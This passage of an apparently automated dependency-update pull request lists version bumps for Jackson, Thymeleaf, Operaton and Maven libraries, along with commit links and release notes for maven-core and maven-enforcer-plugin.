href=\"https://github.com/FasterXML/jackson-modules-base/commit/5a89cc181bf92f40730a6d297dbb32e2cfd29300\"\u003e\u003ccode\u003e5a89cc1\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/6cad130d2e9f61aff310212ab6fb5b03a09f720a\"\u003e\u003ccode\u003e6cad130\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.18.7\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-modules-base/compare/jackson-modules-base-2.21.2...jackson-modules-base-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.dataformat:jackson-dataformat-yaml` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ccfcc9560ff6ba28a33a211108ec9c0f39822348\"\u003e\u003ccode\u003eccfcc95\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/5e8161712c7e6eead4a27a0ef46bc3a27a67c02d\"\u003e\u003ccode\u003e5e81617\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/52ab617b41276173b0487b861b85fdd3a8b9e854\"\u003e\u003ccode\u003e52ab617\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/84f99f7b0de01f25add5213086ccbabbf458a8f9\"\u003e\u003ccode\u003e84f99f7\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/4fe54cb049fd193bb7cbc4f8b424846219a3e1e0\"\u003e\u003ccode\u003e4fe54cb\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/f18c5784b0e34918d3f81d96609dc244b9354fff\"\u003e\u003ccode\u003ef18c578\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/8db1032d07c67320b77c007eaefff5a12e9263b3\"\u003e\u003ccode\u003e8db1032\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/7afb263fcdc61712fd3ce5268cbc51e29d6d752b\"\u003e\u003ccode\u003e7afb263\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ec50f24c4f0f5efc7f417f6cfcd5baac33913954\"\u003e\u003ccode\u003eec50f24\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/a8bedbd71dae6d2eab6ab9bbe24517d3a00455ca\"\u003e\u003ccode\u003ea8bedbd\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/compare/jackson-dataformats-text-2.21.2...jackson-dataformats-text-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-core` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/5815636064ca5f5f2f5af0a91c7ad96368c239e7\"\u003e\u003ccode\u003e5815636\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/6e728f9bde605f98e34d67d5db0a1b530b0a9bfd\"\u003e\u003ccode\u003e6e728f9\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/4e30cf21ca4faeffa062ae13730fade890ce2540\"\u003e\u003ccode\u003e4e30cf2\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/1429fffeca1eee24d7c3d7a0887c5ac10cac7a58\"\u003e\u003ccode\u003e1429fff\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/8f622c5cf177509989eaa154e4cb86d64b28f5a6\"\u003e\u003ccode\u003e8f622c5\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd4d6b2baf575fd84419368717ddf12eb21fc8d7\"\u003e\u003ccode\u003ecd4d6b2\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/03458823cc3cf78f1ea19cfe5f045475628ee834\"\u003e\u003ccode\u003e0345882\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/a7a5562c0215da3e1297e4825fc5fc4d4f237c68\"\u003e\u003ccode\u003ea7a5562\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/cd647ea2cf15ee7740f1e3eb447335f667dd3a7a\"\u003e\u003ccode\u003ecd647ea\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0ac2f771ad5fdceb60f908352c4dee2ffa498146\"\u003e\u003ccode\u003e0ac2f77\u003c/code\u003e\u003c/a\u003e Update release notes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-core/compare/jackson-core-2.21.2...jackson-core-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.datatype:jackson-datatype-jsr310` from 2.21.2 to 2.21.3\n\nUpdates `com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/3290598ecbbd8bbb0b34a35a7361ff54e1050463\"\u003e\u003ccode\u003e3290598\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/ff548e5773b62aef719c2104ecfccbe70dadcedc\"\u003e\u003ccode\u003eff548e5\u003c/code\u003e\u003c/a\u003e undo version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/1c5c59c5a3fc09a17d1027879ebca459842cda8e\"\u003e\u003ccode\u003e1c5c59c\u003c/code\u003e\u003c/a\u003e re-do release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/64b246c236e6d424eb4469131bbd76c3056dc2a3\"\u003e\u003ccode\u003e64b246c\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/38be1635960bed69c4f52bfbbdd3297447bd7506\"\u003e\u003ccode\u003e38be163\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/b3506d8b74b64a5f7e3f5884df8e5246f1c03bf0\"\u003e\u003ccode\u003eb3506d8\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/2f51aa35660e9af07415c54b6bc8185622d91288\"\u003e\u003ccode\u003e2f51aa3\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/88adb497be38f7b4de3cbcd49ec8d641933214ce\"\u003e\u003ccode\u003e88adb49\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/5a89cc181bf92f40730a6d297dbb32e2cfd29300\"\u003e\u003ccode\u003e5a89cc1\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-modules-base/commit/6cad130d2e9f61aff310212ab6fb5b03a09f720a\"\u003e\u003ccode\u003e6cad130\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-modules-base-2.18.7\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-modules-base/compare/jackson-modules-base-2.21.2...jackson-modules-base-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.dataformat:jackson-dataformat-yaml` from 2.21.2 to 2.21.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ccfcc9560ff6ba28a33a211108ec9c0f39822348\"\u003e\u003ccode\u003eccfcc95\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/5e8161712c7e6eead4a27a0ef46bc3a27a67c02d\"\u003e\u003ccode\u003e5e81617\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/52ab617b41276173b0487b861b85fdd3a8b9e854\"\u003e\u003ccode\u003e52ab617\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/84f99f7b0de01f25add5213086ccbabbf458a8f9\"\u003e\u003ccode\u003e84f99f7\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/4fe54cb049fd193bb7cbc4f8b424846219a3e1e0\"\u003e\u003ccode\u003e4fe54cb\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/f18c5784b0e34918d3f81d96609dc244b9354fff\"\u003e\u003ccode\u003ef18c578\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/8db1032d07c67320b77c007eaefff5a12e9263b3\"\u003e\u003ccode\u003e8db1032\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/7afb263fcdc61712fd3ce5268cbc51e29d6d752b\"\u003e\u003ccode\u003e7afb263\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformats-text-2.18.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/ec50f24c4f0f5efc7f417f6cfcd5baac33913954\"\u003e\u003ccode\u003eec50f24\u003c/code\u003e\u003c/a\u003e Prep for 2.18.7 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/commit/a8bedbd71dae6d2eab6ab9bbe24517d3a00455ca\"\u003e\u003ccode\u003ea8bedbd\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-dataformats-text/compare/jackson-dataformats-text-2.21.2...jackson-dataformats-text-2.21.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.glassfish.jaxb:jaxb-runtime` from 4.0.7 to 4.0.8\n\nUpdates `org.thymeleaf:thymeleaf` from 3.1.4.RELEASE to 3.1.5.RELEASE\n\nUpdates `org.operaton.bpm:operaton-engine` from 1.1.1 to 1.1.3\n\nUpdates `org.operaton.bpm:operaton-engine-spring` from 1.1.1 to 1.1.3\n\nUpdates `org.operaton.bpm.model:operaton-bpmn-model` from 1.1.1 to 1.1.3\n\nUpdates `org.operaton.bpm:operaton-engine-spring` from 1.1.1 to 1.1.3\n\nUpdates `org.operaton.bpm.model:operaton-bpmn-model` from 1.1.1 to 1.1.3\n\nUpdates `org.apache.maven:maven-core` from 3.9.15 to 3.9.16\n\nUpdates `org.apache.maven:maven-plugin-api` from 3.9.15 to 3.9.16\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/apache/maven/releases\"\u003eorg.apache.maven:maven-plugin-api's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.16\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eTrim \u003ccode\u003ethreadConfiguration\u003c/code\u003e to accept input surrounded with spaces (\u003ca href=\"https://redirect.github.com/apache/maven/pull/12042\"\u003e#12042\u003c/a\u003e) \u003ca href=\"https://github.com/slawekjaranowski\"\u003e\u003ccode\u003e@​slawekjaranowski\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBackport: Maven 3.10.x fixed plugin resolution (\u003ca href=\"https://redirect.github.com/apache/maven/pull/12022\"\u003e#12022\u003c/a\u003e) \u003ca href=\"https://github.com/cstamas\"\u003e\u003ccode\u003e@​cstamas\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e📦 Dependency updates\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eBump org.codehaus.plexus:plexus-classworlds from 2.9.0 to 2.11.0 (\u003ca href=\"https://redirect.github.com/apache/maven/pull/12039\"\u003e#12039\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[3.9.x] Bump to parent POM 48 (\u003ca href=\"https://redirect.github.com/apache/maven/pull/12024\"\u003e#12024\u003c/a\u003e) \u003ca href=\"https://github.com/cstamas\"\u003e\u003ccode\u003e@​cstamas\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump commons-io:commons-io from 2.21.0 to 2.22.0 (\u003ca href=\"https://redirect.github.com/apache/maven/pull/11980\"\u003e#11980\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump com.google.guava:guava from 33.5.0-jre to 33.6.0-jre (\u003ca href=\"https://redirect.github.com/apache/maven/pull/11951\"\u003e#11951\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump actions/cache from 5.0.4 to 5.0.5 (\u003ca href=\"https://redirect.github.com/apache/maven/pull/11943\"\u003e#11943\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/2bdd9fddda4b155ebf8000e807eb73fd829a51d5\"\u003e\u003ccode\u003e2bdd9fd\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release maven-3.9.16\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/229e9d704610317c9d75dae6318d8938f56c8156\"\u003e\u003ccode\u003e229e9d7\u003c/code\u003e\u003c/a\u003e Trim \u003ccode\u003ethreadConfiguration\u003c/code\u003e to accept input surrounded with spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/7d5fd941ca3940433f90b41daf3cc4985e84fb01\"\u003e\u003ccode\u003e7d5fd94\u003c/code\u003e\u003c/a\u003e Bump org.codehaus.plexus:plexus-classworlds from 2.9.0 to 2.11.0 (\u003ca href=\"https://redirect.github.com/apache/maven/issues/12039\"\u003e#12039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/0d100e5e6d28223d1b3d7fe0880f4ca894147fe5\"\u003e\u003ccode\u003e0d100e5\u003c/code\u003e\u003c/a\u003e [3.9.x] Bump to parent POM 48 (\u003ca href=\"https://redirect.github.com/apache/maven/issues/12024\"\u003e#12024\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/7ae79358cb31539255da6adf2c17c6567f35e0ca\"\u003e\u003ccode\u003e7ae7935\u003c/code\u003e\u003c/a\u003e Backport: Maven 3.10.x fixes plugin resolution, by putting user in charge (\u003ca href=\"https://redirect.github.com/apache/maven/issues/1\"\u003e#1\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/86fc95bf757835e936d36e5d9d25dc430b3dcb29\"\u003e\u003ccode\u003e86fc95b\u003c/code\u003e\u003c/a\u003e Bump commons-io:commons-io from 2.21.0 to 2.22.0 (\u003ca href=\"https://redirect.github.com/apache/maven/issues/11980\"\u003e#11980\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/029557a5ae6c4ed2f03b36e890d62077e4a4d74b\"\u003e\u003ccode\u003e029557a\u003c/code\u003e\u003c/a\u003e Bump com.google.guava:guava from 33.5.0-jre to 33.6.0-jre (\u003ca href=\"https://redirect.github.com/apache/maven/issues/11951\"\u003e#11951\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/b5250f25a994a8cb7486b0b860ca4229307603b4\"\u003e\u003ccode\u003eb5250f2\u003c/code\u003e\u003c/a\u003e Bump actions/cache from 5.0.4 to 5.0.5 (\u003ca href=\"https://redirect.github.com/apache/maven/issues/11943\"\u003e#11943\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven/commit/7ef2c23256d5c4148e1ebc34504f44eb2ca218e8\"\u003e\u003ccode\u003e7ef2c23\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/apache/maven/compare/maven-3.9.15...maven-3.9.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.apache.maven.plugins:maven-enforcer-plugin` from 3.6.2 to 3.6.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/apache/maven-enforcer/releases\"\u003eorg.apache.maven.plugins:maven-enforcer-plugin's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.6.3\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003e🚀 New features and improvements\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMake bannedDependencies report root and transitive dependency in case both are banned. (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/940\"\u003e#940\u003c/a\u003e) \u003ca href=\"https://github.com/hvoynov\"\u003e\u003ccode\u003e@​hvoynov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd enforceBytecodeVersion rule based on mojohaus (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/968\"\u003e#968\u003c/a\u003e) \u003ca href=\"https://github.com/cstamas\"\u003e\u003ccode\u003e@​cstamas\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImprove formatting of deprecated API warning (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/951\"\u003e#951\u003c/a\u003e) \u003ca href=\"https://github.com/mthmulders\"\u003e\u003ccode\u003e@​mthmulders\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix handling of Java versions like 21.0.10.0.1 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/967\"\u003e#967\u003c/a\u003e) \u003ca href=\"https://github.com/parttimenerd\"\u003e\u003ccode\u003e@​parttimenerd\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd null checks for modelId in PluginWrapper (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/974\"\u003e#974\u003c/a\u003e) \u003ca href=\"https://github.com/cpfeiffer\"\u003e\u003ccode\u003e@​cpfeiffer\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e📝 Documentation updates\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDocument the banMavenDefaults option for the requirePluginVersions rule. (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/936\"\u003e#936\u003c/a\u003e) \u003ca href=\"https://github.com/rpkrajewski\"\u003e\u003ccode\u003e@​rpkrajewski\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e👻 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003ePlexusStringUtils\u003c/code\u003e Refaster recipes (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/943\"\u003e#943\u003c/a\u003e) \u003ca href=\"https://github.com/slachiewicz\"\u003e\u003ccode\u003e@​slachiewicz\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJUnit Jupiter migration from JUnit 4.x (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/941\"\u003e#941\u003c/a\u003e) \u003ca href=\"https://github.com/slachiewicz\"\u003e\u003ccode\u003e@​slachiewicz\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e📦 Dependency updates\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eBump org.apache.logging.log4j:log4j-core from 2.25.3 to 2.25.4 in /maven-enforcer-plugin/src/it/projects/MENFORCER-434 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/970\"\u003e#970\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDeps: Parent POM 48 and align deps (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/979\"\u003e#979\u003c/a\u003e) \u003ca href=\"https://github.com/cstamas\"\u003e\u003ccode\u003e@​cstamas\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump commons-codec:commons-codec from 1.21.0 to 1.22.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/976\"\u003e#976\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump commons-io:commons-io from 2.21.0 to 2.22.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/975\"\u003e#975\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump mavenVersion from 3.9.14 to 3.9.15 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/973\"\u003e#973\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump mavenVersion from 3.9.13 to 3.9.14 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/965\"\u003e#965\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump mavenVersion from 3.9.12 to 3.9.13 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/964\"\u003e#964\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump org.apache.maven.plugin-testing:maven-plugin-testing-harness from 3.5.0 to 3.5.1 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/963\"\u003e#963\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate log4j in test to avoid CVE (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/961\"\u003e#961\u003c/a\u003e) \u003ca href=\"https://github.com/Bukama\"\u003e\u003ccode\u003e@​Bukama\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump commons-codec:commons-codec from 1.20.0 to 1.21.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/962\"\u003e#962\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump org.assertj:assertj-core from 3.27.6 to 3.27.7 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/960\"\u003e#960\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump org.codehaus.mojo:mrm-maven-plugin from 1.7.0 to 1.7.1 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/959\"\u003e#959\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump org.apache.maven:maven-parent from 46 to 47 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/958\"\u003e#958\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump org.codehaus.plexus:plexus-archiver from 4.10.4 to 4.11.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/957\"\u003e#957\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate to 46 including fixes (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/955\"\u003e#955\u003c/a\u003e) \u003ca href=\"https://github.com/Bukama\"\u003e\u003ccode\u003e@​Bukama\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump org.apache.maven.plugin-testing:maven-plugin-testing-harness from 3.3.0 to 3.5.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/956\"\u003e#956\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump mavenVersion from 3.9.11 to 3.9.12 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/948\"\u003e#948\u003c/a\u003e) @\u003ca 